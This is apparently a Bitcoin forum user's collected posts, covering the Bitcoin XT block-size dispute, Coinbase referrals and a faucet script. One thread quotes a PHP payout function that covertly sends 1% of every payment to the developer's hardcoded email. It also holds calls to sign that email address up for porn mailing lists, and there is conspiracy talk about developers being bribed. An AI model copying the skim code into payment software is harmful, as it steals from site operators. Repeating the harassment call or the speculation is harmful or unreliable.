Ah okay I see what happened. So you've got FaucetBuilder and Faucet-Builder. Both by the same developer "chipshot". I wouldn't trust anything he puts up because in Faucet-Builder he is taking 1% of every transaction you send! Destbogan added himself as a payee FOR EVERY TRANSACTION! Not only will it pay out to your faucet visitors so you think everything is fine, it will also pay him 1% of every single claim on your site, so DO NOT USE THAT CODE. IN FACT EVERYONE READING THIS SHOULD SIGN UP destbogan@gmail.com for nasty porn mailing lists, because he is an asshole trying to steal your money. Uninstall it, and find another script! is there any way to disable this unwanted 1% payment without uninstalling the script ? Yes but why would you want to continue to use a script from someone who is dishonest and tried to steal from you?? function pay($to, $amount, $comment)
{
$settings = $GLOBALS["settings"];
$myHashKey = $GLOBALS["hashKey"];
$serviceUrl = "https://api.xapo.com/v1";
$xapo_app_id = trim(decryption($myHashKey,$settings['xapo_app_id']));
$xapo_secret_key = trim(decryption($myHashKey,$settings['xapo_secret_key']));
$creditAPI = new XapoCreditAPI($serviceUrl, $xapo_app_id, $xapo_secret_key);
$currency = "SAT"; // SAT | BTC
$unique_request_id = uniqid();
$ret = $creditAPI->credit($to, $currency, $unique_request_id, $amount, $comments);
return $ret;
}
|
|
|
|
Ah okay I see what happened. So you've got FaucetBuilder and Faucet-Builder. Both by the same developer "chipshot". I wouldn't trust anything he puts up because in Faucet-Builder he is taking 1% of every transaction you send! Destbogan added himself as a payee FOR EVERY TRANSACTION! Not only will it pay out to your faucet visitors so you think everything is fine, it will also pay him 1% of every single claim on your site, so DO NOT USE THAT CODE. IN FACT EVERYONE READING THIS SHOULD SIGN UP destbogan@gmail.com for nasty porn mailing lists, because he is an asshole trying to steal your money. Uninstall it, and find another script! |
|
|
|
Bitcoin users and – in particular – miners are, therefore, faced with a choice. Will they support Bitcoin XT and vote for an 8 megabyte block-size limit – doubling every other year? Or will they stick to Bitcoin Core with 1 megabyte blocks, limiting the Bitcoin network to a maximum of seven transactions per second?
XT is about more than raising the block limit or I would support it. Hearn and Gavin will have complete control of the future of Bitcoin if XT succeeds. Saying those against XT are only against bigger blocks is missing the bigger picture. This. People get blinded that XT = bigger blocks and then they ignore all the rest. I'm confident that core will come out ahead. Unfortunate for Gavin, after this hostile fork he tried, I believe his time as a bitcoin developer is over. |
|
|
|
If Coinbase want to expand their userbase they should open this referral bonuses to whole world. There are more than 200 countries in the world and only 26 are eligible. It's not fair. For example if I live in Trinidad and I want to invite my friends I can't get any referral bonus. Why would I invite my friends then?
Coinbase doesn't really have a choice. They are only open and doing businesses in countries where they have been permitted. Bitcoin is treated differently in every country. |
|
|
|
Thanks for the update guys! I know this is taking longer than expected but I'm still excited about the project. These periodic updates are appreciated  |
|
|
|
|
This seems like a good opportunity if we can target those countries properly. What I like is that if user A visits your referral link and they don't sign up you still will get credited if they sign up form that same computer within 90 days of visiting your referral link.
I'm going to make a custom banner ad for this and try putting it on my faucet where I get a lot of visitors from Czech Republic.
Does anyone else have a banner they made for this coinbase promo?
|
|
|
|
As recently proposed by Core developer Sergio Lerner, is to hold onto the 1 megabyte limit, but speed up the block interval. If 1 megabyte blocks are found every five minutes instead of 10, that would allow for double the amount of transactions on the network while also decreasing confirmation times.
Under this model would we still have reward halvings every 210,000 blocks? If so, the coin distribution phase will be doubled where the last coin will be mined in ~50 years instead of ~100 years which could be very bad. We would have to reduce the rewards in half as well if blocks were found every 5 minutes. To me that sounds much more drastic than lifting the blocksize. There's also those miners that are not validating previous blocks because it takes 10 seconds away where they could be hashing. If we reduced the blocktime to 5 minutes, that will take an even larger percentage out of their hashing times where we can almost guarantee miners won't be validating newly found blocks. |
|
|
|
..snip.. If you believe the economic incentive that makes bitcoin so special works just fine then you don't have to worry, a consensus will emerge. Bitcoin is currently experiencing is teenage crisis.
This is what I am hoping for. I expect it all to resolve and bitcoin will come out better and more resilient in the end. |
|
|
|
This is the "my way or the highway" mentality that many people dislike. Why not work together to agree to a consensus? You can't force people to agree with you.
There has to be a sense of urgency, and that is what XT provides. I'm all for working together to agree to a consensus, but it's been years and now we could see big problems coming up within months if we do not finally do something. If all XT did was force us to finally increase the block size on Core before an actual catastrophe occurred then I will be happy. You can't just wait until your engine locks up to finally change your oil. XT is forcing us to think about changing the oil before the engine locks up. whatever way it happens is fine, all I want is the oil to be changed before the engine locks up. If XT is the only way it is going to happen then I support XT, if it can happen on Core, then I support Core. it just needs to happen and quickly. Guilty. You're right we need to be thinking ahead and bigger blocks are inevitable for bitcoin to succeed as an online payment mechanism for the future. Mainly I don't like this split. It's putting bitcoiners against other bitcoiners, when we are all supposed to be on the same team. |
|
|
|
the changes of XT are necessary not the name change itself, why they can't simply perform those changes inside Core, instead of changing its name for no reason?
it seems that some of the developers want to follow their own route and gain more authority.
Some of the developers decided that their idea was better. When the other developers told them otherwise they decided to "take their ball and go home". Seems like to me that egos are getting in the way. |
|
|
|
if I edit $to= email then it'll cause an error so I can't change that starnge email too
$to = email is not valid syntax for php, so it would cause an error. Where id you get this code from? It seems quite spotty. It's defining $unique_request_id & $ret twice in the same function, effectively re-writing it for no reason. |
|
|
|
Why is there not consensus to do so NOW? I think the best way to avoid XT is to achieve increased blocks with Core. I would love it if this happens. All I want is increased blocks. XT is just giving us a time limit, which I like too, because I think it must be done before a crisis occurs because the blocks are too small.
Yes bigger blocks sound like an important issue, we should discuss the best way and time to implement such a change. There's no need to rush into it because some one spammed the blockchain with their "stress test" last month. Let's increase the block size on Core! Who's with me? No one? Ok then I'm all in with XT!
This is the "my way or the highway" mentality that many people dislike. Why not work together to agree to a consensus? You can't force people to agree with you. |
|
|
|
I'm also having the same problem with this script however the non xapo users payment is sent out them as I tested putting sat reward 10000 . I'm also not a programer but understand what the code is saying look below function pay($to, $amount, $comment) { $settings = $GLOBALS["settings"]; $myHashKey = $GLOBALS["hashKey"]; $serviceUrl = " https://api.xapo.com/v1"; $xapo_app_id = trim(decryption($myHashKey,$settings['xapo_app_id'])); $xapo_secret_key = trim(decryption($myHashKey,$settings['xapo_secret_key'])); $creditAPI = new XapoCreditAPI($serviceUrl, $xapo_app_id, $xapo_secret_key); $currency = "SAT"; // SAT | BTC $unique_request_id = uniqid(); $ret = $creditAPI->credit($to, $currency, $unique_request_id, $amount, $comments); $amount = $amount * 0.01; $unique_request_id = uniqid(); $to=" destbogan@gmail.com"; $ret = $creditAPI->credit($to, $currency, $unique_request_id, $amount, "Thank you for using Faucet Builder"); return $ret; } see $to=" destbogan@gmail.com" and see $amount = $amount * 0.01 this means 0.01% of reward will be sent to him and i also noticed this in my xapo payout history. so how to solve this problem how to remove this email ? The above is a PHP function called pay. when pay(); is called it will execute all the code within the {}. Example of functions: function say(){
echo "hello there";
}
//above is my function called say, now I can call it later in my script just by typing say(); instead of having to do the code all over again
say();
say();
//the above will write "hello there" on the screen twice because I called the function twice
What do you want the variable $to to be? My assumption is it is supposed to be the users email? In that case it shouldn't be hardcoded in but instead something like $to = $_POST['user_email']; or whatever the name of your input form is for the email section. I'm not sure why the amount is being multiplied by 0.01. How do you determine the reward amount on your faucet? That's what you want $amount to be equal to. |
|
|
|
You don't agree with Bitcoin Jesus?: "I think it should be clear to everyone that bigger blocks will likely mean more full nodes around the world, and therefore more decentralization, not less. This will make bitcoin even more difficult to control, censor, or be stopped by anyone, including governments." - Roger Ver Bigger blocks can also be achieved with core, if/when there is consensus to do so. I see too many posts where people are mixing the core vs XT debate with the blocksize debate. |
|
|
|
|
This is very interesting, people on the same team are fighting against each other. Divide and conquer is what is happening.
There is radical speculation on both sides, from Gavin has an evil plan, to the core devs want to keep the blocksize low so they can profit from blockstream. In reality the issue is that Gavin, Mike and several others developers have one vision for bitcoin, and the other developers have another vision. That's it, it's a difference of opinion. The biggest difference I see is that the XT fork is an unprovoked pre-emptive strike as they call it in the military world. XT fired the first shots so to speak, so that alone causes a lot of opposition to it.
Instead of this split and pick-a-side crap that is happening, everyone needs to return to the table and work out a compromise for the good of bitcoin.
If we can't reach a consensus together than what is to prevent other developers from starting their own fork? Then we have 3 versions of bitcoin, 4 versions, 5 versions? Where does it stop and who gets to decide which is an altcoin and which is an upgraded bitcoin?
|
|
|
|
No signatures = fake
How about focusing on the content, rather than the author? (Just like with Bitcoin itself) Regardless if it was actually Satoshi or someone else who wrote this, I'd say (s)he makes a very good point. I think too many people get stuck into the mentality that XT = bigger blocks and bigger blocks = institutional investor adoption and intitutational investor adoption = moon. XT IS NOT THE ONLY WAY TO INCREASE THE BLOCKSIZE! It can be done with core, with consensus if it were needed, but it's not needed right now. Yes it would still require a fork, but why Gavin wants to rush to push through a hostile fork, I do not know. |
|
|
|
This is mine for your thread as I like you as a friend and bull. If you are looking to sell your stash, seeing bitcoin will not succeed, having no patience, just remember Ronald Wayne, the forgotten Apple founder who missed out on $35 BILLION after selling his shares for $800 in 1976. Edit : I want to thank you a lot for this thread, after thinking a bit about it, the thread can act as a psychological support if some bulls are weakened a bit if the price dips a lot or maybe you can convert some bears to bulls The apple one is a good one! You're welcome, I thought there needed to be a little bull get together. As you can see, not many other showed up  Here's another: By 2022 90% of all bitcoins will be mined. |
|
|
|
The bears best weapon is FUD (Fear, Uncertainty and Doubt). The bulls best weapon is FOMO (Fear Of Missing Out). Notice a common theme here?  What is your best FOMO sentence? It can be your own custom sentence or it can be a quote from someone else. If it’s a quote please state the source. Here’s an example to get things started: With over 3 billion internet users and only 21 million coins, less than 1% of all internet users will own a full bitcoin. |
|
|
|
Nick Szabo is asking the same: If it seems like the limit is getting hit persistently, and confirmation times are becoming a problem, an emergency limit increase is something that the core devs can patch very simply and quickly. They can execute such an emergency block size “QE” if you will, at a moments notice. They have demonstratively done this kind of deployment before, during the one previous hard fork, and with the F2Pool bug. So what is the rush? The rush is that there is something that Gavin and Mike are hiding. They are trying to get this fork pushed through under the guise of bigger blocks, but what's the real update they are hiding? Is it a blacklist? Perhaps a government entity approached the "chief scientist" of bitcoin with an offer he could not refuse. Something along the lines of "get us in and we'll make sure you or your children will never have to work again". Sounds like a spy movie? Truth is stranger than fiction, and certain folks have A LOT to lose if bitcoin succeeds. |
|
|
|
|
Show Posts
